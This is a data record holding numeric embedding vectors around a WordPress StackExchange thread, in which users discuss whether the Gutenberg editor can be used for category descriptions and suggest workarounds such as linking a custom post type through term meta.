0.034637451171875, 0.028533935546875, -0.0305023193359375, -0.0273895263671875, 0.00792694091796875, 0.0293731689453125, -0.0153961181640625, 0.012847900390625, -0.0217742919921875, -0.061767578125, 0.032867431640625, -0.02142333984375, -0.0183868408203125, -0.00482177734375, -0.055694580078125, -0.036407470703125, -0.034759521484375, -0.0015344619750976562, -0.06817626953125, -0.02386474609375, -0.0116119384765625, -0.0018644332885742188, -0.034912109375, -0.059967041015625, 0.0254974365234375, 0.03338623046875, 0.04180908203125, -0.048919677734375, 0.08984375, -0.006969451904296875, -0.016632080078125, 0.0286407470703125, 0.00505828857421875, 0.059173583984375, 0.038482666015625, 0.025146484375, 0.016845703125, 0.006481170654296875, 0.02032470703125, -0.004642486572265625, -0.017578125, 0.0087890625, -0.005733489990234375, 0.0079803466796875, -0.006092071533203125, 0.016510009765625, -0.00945281982421875, 0.0137481689453125, 0.036712646484375, 0.0007600784301757812, -0.0189361572265625, -0.00235748291015625, -0.01200103759765625, -0.04693603515625, 0.056182861328125, 0.00867462158203125, -0.00965118408203125, 0.00988006591796875, 0.003082275390625, -0.0236053466796875, -0.0238189697265625, -0.0082855224609375, 0.022369384765625, -0.0010662078857421875, 0.005428314208984375, 0.0048828125, 0.00450897216796875, -0.031829833984375, -0.022064208984375, -0.00525665283203125, 0.0223236083984375, 0.011688232421875, 0.0207672119140625, 0.0280609130859375, 0.0121917724609375, -0.00970458984375, 0.007419586181640625, -0.007205963134765625, 0.01074981689453125, 0.020721435546875, 0.0141448974609375, 0.012237548828125, -0.028656005859375, 0.0010223388671875, 0.00502777099609375, -0.0019893646240234375, 0.015869140625, 0.01096343994140625, 0.04656982421875, -0.0007944107055664062, -0.0024929046630859375, -0.0032787322998046875, -0.076904296875, -0.0121612548828125, 0.025146484375, -0.01016998291015625, 0.030975341796875, -0.044586181640625, 0.0263824462890625, 0.00881195068359375, 0.001560211181640625, 0.02880859375, -0.01837158203125, 0.0250244140625, 0.015655517578125, 0.0294952392578125, 0.02520751953125, -0.021270751953125, 0.03753662109375, 0.0071258544921875, -0.08953857421875, 0.0252227783203125, 0.006679534912109375, 0.10113525390625, 0.04510498046875, 0.0185546875, 0.042266845703125, -0.053436279296875, -0.01580810546875, 0.0231781005859375, 0.0245208740234375, -0.020599365234375, -0.042236328125, -0.01535797119140625, -0.01293182373046875, -0.021759033203125, -0.0170440673828125, 0.016632080078125, -0.0218353271484375, 0.003032684326171875, -0.043365478515625, 0.0006303787231445312, -0.02362060546875, 0.033721923828125, -0.03668212890625, 0.016998291015625, 0.02630615234375, -0.00800323486328125, -0.03253173828125, 0.0263824462890625, 0.00730133056640625, -0.00867462158203125, 0.00081634521484375, 0.053466796875, 0.0291290283203125, 0.00634002685546875, 0.034423828125, -0.0226898193359375, 0.02349853515625, 0.005115509033203125, 0.02239990234375, -0.00390625, -0.03448486328125, -0.0129547119140625, -0.0306549072265625, 0.01354217529296875, -0.064697265625, 0.046051025390625, -0.0606689453125, -0.0002598762512207031, -0.01113128662109375, 0.0141448974609375, 0.005832672119140625, -0.01271820068359375, 0.012176513671875, 0.0198822021484375, 0.024871826171875, 0.02099609375, -0.01470947265625, -0.0033626556396484375, 0.03466796875, -0.004467010498046875, 0.0231475830078125, -0.030853271484375, 0.009246826171875, 0.0177764892578125, 0.00971221923828125, -0.01336669921875, 0.005702972412109375, -0.0401611328125, -0.00007551908493041992, 0.019012451171875, 0.00226593017578125, 0.024688720703125, -0.0059356689453125, 0.00385284423828125, 0.0023517608642578125, 0.0198516845703125, -0.018646240234375, 0.004375457763671875, 0.046173095703125, 0.0014667510986328125, 0.0281524658203125, 0.0139007568359375, -0.032196044921875, 0.01355743408203125, 0.01302337646484375, -0.0110321044921875, 0.020263671875, 0.04766845703125, -0.00965118408203125, 0.03387451171875, -0.01508331298828125, -0.0251007080078125, 0.05181884765625, 0.032440185546875, -0.0028076171875, 0.06707763671875, 0.0176544189453125, -0.01332855224609375, -0.0523681640625, -0.0255126953125, 0.02166748046875, 0.013824462890625, 0.0211334228515625, -0.016357421875, 0.002685546875, 0.073486328125, -0.0225677490234375, 0.08441162109375, 0.000002205371856689453, -0.0161285400390625, 0.029327392578125, -0.017913818359375, 0.00217437744140625, -0.01114654541015625, 0.01849365234375, 0.0377197265625, 0.0201568603515625, -0.0296173095703125, -0.005832672119140625, 0.0626220703125, 0.042388916015625, -0.021636962890625, -0.01377105712890625, -0.0051422119140625, -0.048675537109375, -0.056243896484375, 0.004589080810546875, 0.05120849609375, -0.05316162109375, -0.0677490234375, -0.045867919921875, 0.0013971328735351562, -0.061309814453125, -0.034210205078125, 0.012176513671875, -0.033721923828125, -0.022064208984375, -0.014190673828125, -0.017425537109375, -0.007144927978515625, -0.002490997314453125, 0.0010976791381835938, 0.034759521484375, -0.0203857421875, -0.058624267578125, -0.05084228515625, -0.0760498046875, -0.0228424072265625, -0.006671905517578125, -0.002655029296875, 0.00870513916015625, 0.067138671875, 0.01708984375, -0.04681396484375, 0.02252197265625, 0.005168914794921875, -0.0230560302734375, 0.019805908203125, 0.0021820068359375, -0.01806640625, -0.038055419921875, -0.00836944580078125, -0.0279388427734375, 0.014617919921875, -0.0231475830078125, 0.01202392578125, 0.0142822265625, -0.038116455078125, -0.0267333984375, 0.031341552734375, -0.0011644363403320312, -0.0672607421875, -0.028533935546875, -0.09161376953125, -0.07147216796875, 0.0048065185546875, -0.0579833984375, 0.038726806640625, 0.04449462890625, -0.01453399658203125, -0.02813720703125, 0.0196533203125, -0.012664794921875, -0.01428985595703125, 0.00921630859375, -0.02386474609375, 0.013153076171875, -0.0164031982421875, -0.006572723388671875, -0.00785064697265625, 0.027008056640625, -0.00921630859375, -0.0263214111328125, -0.0007166862487792969, 0.0066070556640625, -0.0022029876708984375, -0.020965576171875, -0.037139892578125, -0.033935546875, 0.044708251953125, 0.00213623046875, -0.0022907257080078125, 0.00823974609375, -0.0113983154296875, 0.036834716796875, 0.07391357421875, 0.0085296630859375, -0.0081634521484375, 0.0017576217651367188, -0.0032482147216796875, -0.053497314453125, 0.00647735595703125, -0.057769775390625, 0.0132904052734375, 0.0106353759765625, 0.0220489501953125, -0.0010385513305664062, 0.0099334716796875, -0.00955963134765625, 0.00902557373046875, 0.0030040740966796875, -0.01788330078125, 0.009674072265625, -0.01471710205078125, 0.0015134811401367188, 0.0115203857421875, -0.026885986328125, -0.01201629638671875, 0.01535797119140625, -0.057220458984375, -0.038604736328125, -0.016815185546875, -0.028656005859375, 0.0634765625, 0.00998687744140625, 0.0159149169921875, -0.0084075927734375, 0.049407958984375, -0.0217742919921875, 0.004634857177734375, -0.0038661956787109375, 0.039398193359375, -0.0325927734375, -0.0140533447265625, -0.006389617919921875, -0.0286407470703125, -0.00754547119140625, 0.0021572113037109375, -0.0201263427734375, 0.00492095947265625, -0.04058837890625, -0.01708984375, -0.00687408447265625, -0.0172119140625, 0.00864410400390625, -0.033111572265625, 0.0017414093017578125, 0.06561279296875, -0.017913818359375, 0.0204925537109375, -0.04827880859375, -0.0128021240234375, 0.09515380859375, 0.004550933837890625, -0.00867462158203125, -0.018798828125, 0.11383056640625, -0.0006413459777832031, -0.0266571044921875, -0.035888671875, 0.00327301025390625, 0.0167083740234375, 0.0179901123046875, 0.0430908203125, -0.0074005126953125, -0.0006165504455566406, 0.0034465789794921875, -0.016387939453125, 0.046173095703125, -0.039947509765625, 0.03326416015625, -0.020843505859375, -0.02301025390625, 0.050506591796875, 0.01519012451171875, -0.006420135498046875, 0.03326416015625, 0.0299072265625, -0.0102386474609375, 0.044036865234375, 0.004047393798828125, 0.0012083053588867188, -0.0289764404296875, -0.028076171875, -0.0015535354614257812, 0.0027942657470703125, -0.034332275390625, 0.05047607421875, 0.042816162109375, -0.01178741455078125, 0.006565093994140625, -0.004344940185546875, -0.004787445068359375, 0.0582275390625, 0.0144195556640625, 0.026123046875, 0.046051025390625, 0.00992584228515625, -0.000553131103515625, -0.0006961822509765625, -0.01678466796875, 0.01355743408203125, 0.027862548828125, -0.040802001953125, -0.000002384185791015625, 0.0201416015625, 0.0192108154296875, -0.0237579345703125, -0.0307464599609375, 0.04632568359375, 0.023101806640625, -0.045074462890625, 0.00140380859375, 0.0069732666015625, -0.07666015625, -0.046356201171875, -0.01593017578125, -0.00336456298828125, -0.01551055908203125, 0.014404296875, -0.0126190185546875, 0.0080108642578125, -0.01393890380859375, 0.0004208087921142578, -0.006572723388671875, -0.005878448486328125, 0.0189361572265625, 0.0280914306640625, -0.0296173095703125, 0.0120849609375, -0.0308074951171875, 0.03326416015625, -0.039337158203125, -0.0278472900390625, 0.0076446533203125, 0.047119140625, -0.0091094970703125, -0.00958251953125, 0.0203399658203125, 0.005706787109375, 0.00429534912109375, -0.00675201416015625, -0.017333984375, 0.00958251953125, -0.0157012939453125, -0.0035610198974609375, 0.0115203857421875, 0.0032196044921875, -0.0189971923828125, -0.0021533966064453125, -0.0180816650390625, 0.02349853515625, 0.020263671875, -0.0258026123046875, 0.0214385986328125, 0.0021686553955078125, 0.01047515869140625, -0.0211029052734375, 0.0027065277099609375, -0.056671142578125, -0.0066986083984375, -0.031341552734375, -0.0113983154296875, 0.05548095703125, -0.0210723876953125, 0.038665771484375, -0.039886474609375, 0.007045745849609375, 0.0092926025390625, 0.006317138671875, 0.06427001953125, 0.03564453125, 0.00698089599609375, -0.02911376953125, -0.031463623046875, -0.0606689453125, -0.020263671875, 0.0029201507568359375, -0.051422119140625, 0.016571044921875, 0.00353240966796875, 0.0117034912109375, -0.0034656524658203125, 0.0186614990234375, 0.0219268798828125, 0.04095458984375, -0.0153350830078125, 0.07257080078125, -0.025665283203125, 0.08734130859375, 0.005401611328125, 0.0687255859375, -0.00034236907958984375, 0.0220794677734375, -0.0340576171875, -0.0024013519287109375, 0.02789306640625, -0.05096435546875, -0.04022216796875, -0.0290985107421875, -0.027923583984375, 0.006534576416015625, 0.00881195068359375, -0.01332855224609375, 0.033233642578125, -0.039093017578125, -0.0007219314575195312, -0.0091552734375, -0.00041866302490234375, -0.0501708984375, -0.02532958984375, 0.0126953125, -0.00026226043701171875, 0.02001953125, 0.0298004150390625, -0.01064300537109375, 0.0036563873291015625, 0.0170745849609375, -0.01236724853515625, -0.01424407958984375, -0.01104736328125, 0.05181884765625, 0.07403564453125, -0.0299072265625, 0.028228759765625, 0.046417236328125, -0.010467529296875, -0.008209228515625, 0.031829833984375, -0.033050537109375, -0.0404052734375, 0.03240966796875, 0.020538330078125, -0.016021728515625, 0.0277862548828125, -0.00799560546875, 0.0246429443359375, 0.07794189453125, 0.09521484375, -0.09722900390625, 0.00577545166015625, 0.03228759765625, -0.024322509765625, -0.006099700927734375, -0.0199737548828125, -0.031585693359375, -0.07342529296875, 0.0347900390625, 0.060943603515625, -0.00554656982421875, 0.00372314453125, 0.0192718505859375, -0.01496124267578125, -0.0168609619140625, 0.08343505859375, 0.02947998046875, 0.0194549560546875, 0.0295867919921875, -0.029266357421875, 0.051239013671875, -0.00420379638671875, 0.0262908935546875, -0.01837158203125, -0.013275146484375, -0.0007114410400390625, 0.0208282470703125, -0.027435302734375, -0.005817413330078125, -0.00457000732421875, -0.001781463623046875, -0.008270263671875, 0.0413818359375, -0.032318115234375, 0.038360595703125, 0.0161590576171875, 0.01445770263671875, -0.007843017578125, -0.0234527587890625, 0.03204345703125, 0.044952392578125, -0.045867919921875, 0.0270538330078125, 0.005237579345703125, -0.02850341796875, -0.013031005859375, 0.0034465789794921875, 0.089111328125, -0.0144500732421875, -0.027496337890625, 0.042816162109375, -0.00855255126953125, -0.045440673828125, -0.005077362060546875, -0.006908416748046875, -0.0743408203125, -0.046051025390625, 0.006816864013671875, -0.0526123046875, 0.024810791015625, 0.0122222900390625, -0.06353759765625, 0.096923828125, 0.0450439453125, -0.0087738037109375, -0.001979827880859375, 0.039459228515625, -0.06378173828125, -0.0010766983032226562, -0.01806640625, 0.0027790069580078125, 0.0251007080078125, 0.0379638671875, -0.00957489013671875, -0.003726959228515625, 0.01444244384765625, 0.0234832763671875, 0.027252197265625, -0.000766754150390625, -0.005390167236328125, 0.0056915283203125, 0.037567138671875, 0.0253448486328125, -0.003223419189453125, 0.01087188720703125, -0.0028972625732421875, -0.00958251953125, 0.026214599609375, 0.0148773193359375, 0.0367431640625, -0.004093170166015625, -0.0274505615234375, 0.00547027587890625, -0.0018815994262695312, -0.00305938720703125, -0.005458831787109375, 0.004505157470703125, -0.0156402587890625, -0.007663726806640625, 0.0062713623046875, -0.0221405029296875, -0.0307159423828125, 0.0300140380859375, -0.01374053955078125, -0.036834716796875, -0.035614013671875, -0.030548095703125, 0.0248260498046875, 0.0032558441162109375, -0.00821685791015625, 0.02642822265625, 0.0109710693359375, -0.00389862060546875, -0.038818359375, -0.005741119384765625, 0.0069580078125, -0.0280914306640625, 0.0038547515869140625, -0.024932861328125, 0.0212554931640625, -0.045196533203125, -0.022613525390625, 0.0310211181640625, 0.0224456787109375, 0.006328582763671875, -0.0171966552734375, 0.008880615234375, 0.0030803680419921875, 0.0110015869140625, -0.010162353515625, 0.0139007568359375, 0.049652099609375, 0.0517578125, 0.01221466064453125, -0.0049285888671875, 0.004535675048828125, -0.04156494140625, -0.0009832382202148438, 0.0175628662109375, 0.0406494140625, 0.0285491943359375, -0.0307159423828125, 0.0196380615234375, 0.005146026611328125, 0.056671142578125, -0.0028896331787109375, 0.05426025390625, -0.054718017578125, -0.032562255859375, -0.04302978515625, 0.0667724609375, 0.01398468017578125, 0.034698486328125, -0.03424072265625, -0.0025119781494140625, 0.01157379150390625, 0.0173797607421875, -0.00439453125, 0.0516357421875, 0.055267333984375, 0.006099700927734375, -0.06524658203125, -0.00719451904296875, 0.023834228515625, -0.05047607421875, -0.00714874267578125, -0.019622802734375, -0.0301513671875, 0.003936767578125, -0.0153656005859375, 0.01265716552734375, 0.005245208740234375, 0.027557373046875, -0.01629638671875, 0.047515869140625, -0.00586700439453125, -0.016937255859375, 0.018463134765625, -0.0024166107177734375, 0.0716552734375, 0.0272674560546875, -0.00991058349609375, -0.018341064453125, 0.0160675048828125, -0.01367950439453125, 0.003520965576171875, 0.04547119140625, 0.0055084228515625, 0.015716552734375, 0.0243988037109375, 0.01068878173828125, -0.00830841064453125, -0.01284027099609375, -0.0004649162292480469, -0.05078125, 0.0357666015625, -0.01381683349609375, -0.04205322265625, -0.027740478515625, -0.037872314453125, 0.056976318359375, 0.0209197998046875, 0.09808349609375, -0.036712646484375, 0.02874755859375, 0.03009033203125, 0.022003173828125, 0.025634765625, 0.01666259765625, 0.0183868408203125, 0.032012939453125, 0.023406982421875, -0.049530029296875, -0.0567626953125, 0.0094451904296875, 0.00948333740234375, -0.041595458984375, 0.0189666748046875, -0.00907135009765625, 0.00832366943359375, -0.026519775390625, 0.023956298828125, -0.02886962890625, -0.0672607421875, -0.0280914306640625, 0.0489501953125, -0.021636962890625, -0.00743865966796875, -0.0277862548828125, 0.0241241455078125, -0.02777099609375, -0.052459716796875, 0.0020465850830078125, -0.050628662109375, -0.0200347900390625, 0.012847900390625, 0.0482177734375, -0.04522705078125, 0.0191497802734375, -0.0098419189453125, -0.0309600830078125, 0.0257110595703125, 0.01558685302734375, 0.001617431640625, -0.07122802734375, 0.0205841064453125, -0.010101318359375, 0.0343017578125, -0.002079010009765625, -0.00016009807586669922, 0.00372314453125, 0.0032520294189453125, -0.0017232894897460938, 0.01372528076171875, -0.01145172119140625, -0.0233917236328125, -0.01294708251953125, -0.0030002593994140625, -0.01201629638671875, -0.027679443359375, -0.0161285400390625, -0.0220947265625, 0.00995635986328125, -0.00621795654296875, 0.007091522216796875, -0.037811279296875, -0.01287078857421875, 0.02191162109375, -0.01404571533203125, 0.01727294921875, 0.01515960693359375, 0.042236328125, -0.0804443359375, -0.0447998046875, -0.017852783203125, 0.0011310577392578125, -0.05072021484375, 0.038055419921875, 0.0626220703125, -0.04766845703125, -0.00209808349609375, 0.029266357421875, 0.044403076171875, 0.0777587890625, -0.0009102821350097656, -0.0237579345703125, 0.0168609619140625, 0.0026378631591796875, 0.004154205322265625, -0.049407958984375, -0.020843505859375, -0.03753662109375, 0.036346435546875, -0.017364501953125, 0.009033203125, 0.0318603515625, -0.065185546875, -0.1728515625, 0.036712646484375, -0.0572509765625, -0.06280517578125, -0.04345703125, 0.039154052734375, -0.01165771484375, 0.0259552001953125, -0.018341064453125, 0.0017461776733398438, 0.0283660888671875, 0.024658203125, 0.01471710205078125, 0.024261474609375, 0.0623779296875, 0.0051116943359375, 0.002925872802734375, -0.00738525390625, -0.017852783203125, -0.02374267578125, -0.01558685302734375, -0.0084381103515625, 0.035919189453125, 0.0240478515625, -0.0220184326171875, 0.0255584716796875, 0.038116455078125, 0.0174713134765625, -0.0185089111328125, -0.01438140869140625, -0.036224365234375, 0.004100799560546875, 0.1107177734375, 0.056732177734375, 0.0262603759765625, -0.033233642578125, -0.016815185546875, -0.00853729248046875, -0.0355224609375, -0.0228118896484375, 0.02484130859375, -0.06890869140625, -0.002674102783203125, -0.019195556640625, -0.003528594970703125, 0.01434326171875, -0.034393310546875, -0.0264129638671875, -0.00814056396484375, -0.020965576171875, -0.0239715576171875, 0.021240234375, -0.0298614501953125, 0.05792236328125, -0.0262451171875, 0.0030841827392578125, 0.007366180419921875, 0.018768310546875, 0.0114288330078125, 0.0277099609375, 0.00995635986328125, 0.01166534423828125, -0.041473388671875, 0.002101898193359375, 0.01042938232421875, 0.0154571533203125, -0.00974273681640625, -0.025360107421875, -0.0147857666015625, 0.045318603515625, 0.01381683349609375, 0.050994873046875, -0.057769775390625, 0.085205078125, 0.0271759033203125, 0.06597900390625, -0.01788330078125, -0.0771484375, -0.04791259765625, 0.025543212890625, -0.0211944580078125, 0.01219940185546875, 0.00365447998046875, -0.0182037353515625, 0.0155792236328125, 0.02545166015625, 0.00809478759765625, 0.00010001659393310547, 0.0010709762573242188, -0.048736572265625, -0.00518798828125, -0.0015926361083984375 ]
993bb9114cb335bd52e74fca0f1c5c0b74b557c6
Wordpress Stackexchange Q: Activate Gutenberg in category-descriptions I'm trying to convert my sites to Gutenberg. I like it!! But how do I make it possible to make category-descriptions using the new editor? A: This isn't possible at the moment, Gutenberg is a post editor that relies on REST API endpoints, it's not an arbitrary content area editor as TinyMCE is. Given some modification though it could be made to work with a custom data model and be a replacement, but it's not a trivial task, and what's involved is in flux. It would be best to ask over on the Gutenberg GitHub issue tracker
Q: Activate Gutenberg in category-descriptions I'm trying to convert my sites to Gutenberg. I like it!! But how do I make it possible to make category-descriptions using the new editor? A: This isn't possible at the moment, Gutenberg is a post editor that relies on REST API endpoints, it's not an arbitrary content area editor as TinyMCE is. Given some modification though it could be made to work with a custom data model and be a replacement, but it's not a trivial task, and what's involved is in flux. It would be best to ask over on the Gutenberg GitHub issue tracker A: I had been able to do this, more or less, by: * *Creating the content and format I wanted within the Guttenberg editor in a post *Switching from the visual to the code editor *Copying the code across into the "Archive Intro Text" of the category using the text - not visual - editor The update to WP 5.7 from 5.6.2 has however messed up the formating As you can see I'm in no way competent to write code and have created for myself a lovely dead end with my workaround, but I thought the knowledge might be useful, and I for one would be very grateful if this functionality was included in future releases. A: You can create a custom post type and connect it to the term via a custom term_meta where you store the custom_post_type ID ie: with acf plugin display this post_content where you want with $_your_meta_value=get_term_meta($term_id, _description, 1); echo apply_filter('the_content',get_the_content(null,false,$_your_meta_value));
wordpress
{ "language": "en", "length": 258, "provenance": "stackexchange_00019.jsonl.gz:488770", "question_score": "6", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/312145" }
[ 0.0078125, 0.0193634033203125, -0.04376220703125, 0.017059326171875, 0.026947021484375, -0.04595947265625, 0.031707763671875, -0.01131439208984375, -0.02685546875, 0.07073974609375, 0.033477783203125, -0.019012451171875, 0.04791259765625, -0.027313232421875, -0.044769287109375, 0.0015888214111328125, 0.0079345703125, 0.04254150390625, 0.04071044921875, 0.006092071533203125, 0.005046844482421875, 0.0084381103515625, 0.0028133392333984375, -0.042938232421875, 0.00534820556640625, 0.01235198974609375, 0.052459716796875, -0.033935546875, 0.0173187255859375, -0.0211029052734375, 0.022186279296875, -0.00896453857421875, -0.004222869873046875, 0.010894775390625, 0.0064544677734375, 0.0205535888671875, 0.0210418701171875, -0.0016527175903320312, 0.0159759521484375, 0.028839111328125, 0.0438232421875, -0.05316162109375, 0.00719451904296875, -0.05609130859375, 0.0027637481689453125, 0.038970947265625, 0.00762176513671875, -0.034637451171875, 0.017181396484375, -0.030303955078125, -0.0394287109375, -0.002086639404296875, -0.0168609619140625, -0.050750732421875, -0.00681304931640625, -0.019134521484375, -0.060394287109375, 0.0855712890625, 0.005771636962890625, -0.010467529296875, -0.0136260986328125, 0.04119873046875, 0.0024471282958984375, 0.0286712646484375, 0.0364990234375, -0.01036834716796875, -0.004787445068359375, 0.031768798828125, 0.00858306884765625, 0.02410888671875, -0.00337982177734375, -0.020263671875, 0.020782470703125, -0.06744384765625, 0.01119232177734375, 0.01739501953125, -0.01331329345703125, -0.03131103515625, 0.0179595947265625, -0.03265380859375, 0.00846099853515625, 0.054962158203125, 0.0169525146484375, -0.050445556640625, 0.0202789306640625, -0.033447265625, -0.004505157470703125, -0.01427459716796875, -0.045684814453125, -0.01543426513671875, -0.0242462158203125, -0.06494140625, -0.06524658203125, 0.056884765625, 0.032928466796875, -0.002231597900390625, 0.0157318115234375, -0.00940704345703125, 0.0102386474609375, 0.0186004638671875, 0.007091522216796875, -0.05328369140625, 0.0682373046875, -0.0149078369140625, 0.0298919677734375, 0.004764556884765625, -0.057464599609375, 0.007061004638671875, 0.09930419921875, 0.048583984375, 0.00565338134765625, 0.037689208984375, -0.020843505859375, -0.01453399658203125, 0.020843505859375, 0.01690673828125, -0.055572509765625, 0.0667724609375, -0.0031185150146484375, 0.052642822265625, 0.0002560615539550781, 0.00875091552734375, 0.049346923828125, 0.005069732666015625, -0.043304443359375, -0.033843994140625, -0.0163421630859375, -0.034393310546875, 0.036285400390625, -0.051483154296875, -0.016082763671875, 0.033233642578125, 0.04791259765625, 0.03271484375, 0.0087432861328125, 0.012298583984375, 0.00940704345703125, 0.04254150390625, 0.02264404296875, -0.018951416015625, -0.01227569580078125, 0.00742340087890625, 0.0335693359375, -0.0305023193359375, 0.0094146728515625, -0.007549285888671875, 0.0264739990234375, 0.034210205078125, -0.022552490234375, -0.0250091552734375, 0.0477294921875, -0.0266265869140625, 0.0299072265625, 0.0091400146484375, -0.01528167724609375, -0.045867919921875, 0.0439453125, -0.0628662109375, 0.017547607421875, -0.072021484375, 0.050689697265625, 0.0016155242919921875, 0.00701141357421875, -0.019561767578125, -0.039764404296875, -0.035430908203125, -0.03302001953125, -0.0032596588134765625, 0.02099609375, 0.046875, -0.0271148681640625, -0.0268402099609375, -0.01030731201171875, -0.027801513671875, -0.0263214111328125, 0.003925323486328125, -0.049407958984375, -0.01100921630859375, 0.052734375, 0.0017061233520507812, -0.004337310791015625, -0.027252197265625, 0.0254364013671875, 0.029022216796875, -0.0305328369140625, 0.0227813720703125, 0.0106964111328125, 0.066162109375, 0.018035888671875, 0.035003662109375, -0.0271759033203125, -0.00940704345703125, -0.0253753662109375, -0.019256591796875, 0.006488800048828125, -0.0156402587890625, -0.0048370361328125, -0.00019228458404541016, 0.010040283203125, -0.00763702392578125, 0.08160400390625, -0.0103302001953125, 0.00551605224609375, -0.035064697265625, -0.06170654296875, -0.017730712890625, -0.0005612373352050781, 0.01971435546875, 0.0311431884765625, -0.02386474609375, -0.0036411285400390625, -0.0230712890625, 0.006397247314453125, -0.0201873779296875, -0.060150146484375, 0.038726806640625, 0.017547607421875, 0.03289794921875, 0.0152587890625, -0.00676727294921875, 0.0318603515625, 0.01494598388671875, 0.0305938720703125, 0.052459716796875, 0.0489501953125, -0.0301971435546875, 0.016571044921875, -0.03460693359375, 0.051513671875, 0.01995849609375, -0.039276123046875, -0.035736083984375, 0.04180908203125, 0.025543212890625, 0.00298309326171875, 0.0243988037109375, 0.053619384765625, -0.050750732421875, 0.00429534912109375, 0.020233154296875, 0.0171966552734375, -0.0312042236328125, -0.042755126953125, -0.04302978515625, 0.0307769775390625, 0.029571533203125, 0.030731201171875, -0.031341552734375, 0.00974273681640625, 0.048919677734375, -0.0093841552734375, 0.0128631591796875, 0.01316070556640625, 0.01346588134765625, 0.01041412353515625, 0.0260162353515625, 0.028045654296875, -0.01084136962890625, 0.022979736328125, -0.0175323486328125, 0.0260772705078125, 0.036346435546875, -0.056915283203125, 0.042694091796875, 0.057861328125, 0.0194091796875, 0.08209228515625, 0.07501220703125, -0.007904052734375, -0.003040313720703125, 0.005084991455078125, 0.04541015625, 0.00390625, 0.057281494140625, 0.041015625, -0.00572967529296875, -0.032012939453125, -0.0216827392578125, 0.02984619140625, 0.041259765625, -0.006649017333984375, 0.0172119140625, 0.0093231201171875, -0.0135345458984375, -0.0024166107177734375, -0.05780029296875, 0.0093841552734375, 0.0035533905029296875, -0.04443359375, -0.01059722900390625, 0.0223846435546875, 0.00409698486328125, -0.01399993896484375, -0.0214996337890625, -0.00946807861328125, -0.00710296630859375, 0.08648681640625, -0.031768798828125, 0.0270843505859375, -0.02020263671875, 0.0770263671875, 0.046630859375, -0.025665283203125, -0.007465362548828125, -0.005664825439453125, 0.00868988037109375, 0.0195159912109375, -0.007476806640625, -0.006145477294921875, -0.005069732666015625, -0.004955291748046875, 0.0257110595703125, 0.037139892578125, 0.02093505859375, 0.040130615234375, -0.007843017578125, 0.01617431640625, 0.044189453125, -0.0218505859375, -0.007282257080078125, 0.0035400390625, -0.041778564453125, 0.016143798828125, 0.007678985595703125, -0.032745361328125, -0.0152587890625, 0.016510009765625, 0.005889892578125, -0.007663726806640625, -0.018524169921875, -0.0462646484375, -0.034515380859375, -0.04974365234375, 0.0028781890869140625, -0.0206451416015625, -0.006908416748046875, 0.0236358642578125, 0.00025463104248046875, 0.01198577880859375, 0.0014247894287109375, 0.046112060546875, -0.0272674560546875, -0.01641845703125, 0.00125885009765625, 0.005603790283203125, -0.0113372802734375, 0.0083770751953125, 0.0159759521484375, 0.020660400390625, 0.01812744140625, -0.0262908935546875, -0.0039043426513671875, -0.01467132568359375, 0.055084228515625, 0.017913818359375, -0.04266357421875, 0.00199127197265625, 0.025482177734375, -0.032073974609375, -0.0255584716796875, -0.01299285888671875, -0.013214111328125, -0.035186767578125, -0.0110626220703125, -0.0024700164794921875, 0.03167724609375, -0.0161285400390625, 0.024322509765625, -0.0223388671875, 0.0245361328125, 0.02886962890625, -0.001537322998046875, -0.00809478759765625, -0.040618896484375, -0.06292724609375, -0.00885772705078125, 0.00399017333984375, -0.0372314453125, 0.01090240478515625, -0.0216217041015625, 0.01085662841796875, -0.0179443359375, 0.015777587890625, -0.0270233154296875, -0.02410888671875, 0.016845703125, -0.03973388671875, 0.00945281982421875, -0.01447296142578125, 0.0091094970703125, 0.01039886474609375, 0.0631103515625, 0.0223236083984375, -0.013031005859375, 0.0345458984375, -0.0153350830078125, -0.0249176025390625, 0.06982421875, -0.0931396484375, 0.01393890380859375, -0.0294189453125, 0.00844573974609375, 0.021820068359375, -0.040863037109375, -0.0254058837890625, 0.0419921875, -0.0369873046875, -0.0101470947265625, 0.02978515625, -0.0275421142578125, 0.02398681640625, 0.0010242462158203125, -0.00829315185546875, -0.0107269287109375, -0.0305938720703125, -0.033538818359375, -0.045989990234375, 0.0007305145263671875, -0.0269622802734375, 0.01715087890625, -0.007427215576171875, 0.0118255615234375, -0.005916595458984375, 0.039642333984375, 0.018218994140625, 0.033203125, 0.028839111328125, 0.01352691650390625, 0.03082275390625, -0.026763916015625, 0.02923583984375, -0.047515869140625, -0.03765869140625, -0.01128387451171875, -0.0006608963012695312, 0.0261077880859375, -0.010589599609375, -0.025787353515625, 0.00998687744140625, -0.01097869873046875, -0.06829833984375, -0.04986572265625, -0.040252685546875, -0.0095367431640625, 0.00799560546875, -0.043426513671875, -0.06005859375, -0.0518798828125, 0.06488037109375, -0.0019254684448242188, -0.0024890899658203125, 0.00025463104248046875, 0.0628662109375, -0.004962921142578125, -0.02362060546875, -0.048553466796875, -0.041351318359375, 0.0082244873046875, 0.0206298828125, 0.039825439453125, -0.00359344482421875, -0.01177978515625, 0.0565185546875, -0.002777099609375, 0.0048980712890625, -0.05084228515625, 0.08984375, -0.0174102783203125, -0.0095062255859375, 0.0013074874877929688, -0.026336669921875, 0.03656005859375, 0.003177642822265625, -0.04736328125, 0.03912353515625, -0.046661376953125, 0.015899658203125, -0.0040740966796875, -0.001209259033203125, -0.038787841796875, 0.035797119140625, -0.018524169921875, 0.06195068359375, 0.049102783203125, 0.031341552734375, -0.00250244140625, -0.047332763671875, -0.0025234222412109375, -0.0156707763671875, -0.0233917236328125, -0.056121826171875, -0.021270751953125, 0.007808685302734375, -0.045135498046875, -0.0304107666015625, 0.0313720703125, -0.004329681396484375, -0.0019474029541015625, -0.03155517578125, -0.050872802734375, -0.0134735107421875, -0.0228271484375, 0.0267791748046875, 0.03619384765625, 0.0175323486328125, 0.0158233642578125, 0.017333984375, -0.051422119140625, -0.0078277587890625, 0.0347900390625, -0.032440185546875, -0.039947509765625, -0.03204345703125, -0.004486083984375, -0.016448974609375, 0.020660400390625, 0.03472900390625, -0.0011854171752929688, 0.0270843505859375, -0.01378631591796875, 0.035247802734375, -0.024688720703125, 0.0186309814453125, 0.0281219482421875, 0.007781982421875, -0.01050567626953125, -0.0135955810546875, -0.045745849609375, -0.05029296875, -0.0115966796875, 0.01102447509765625, 0.029388427734375, -0.0138397216796875, -0.03179931640625, 0.02734375, 0.0013265609741210938, -0.0173797607421875, -0.01947021484375, -0.030792236328125, -0.01027679443359375, -0.007579803466796875, -0.01983642578125, 0.0024871826171875, 0.02838134765625, 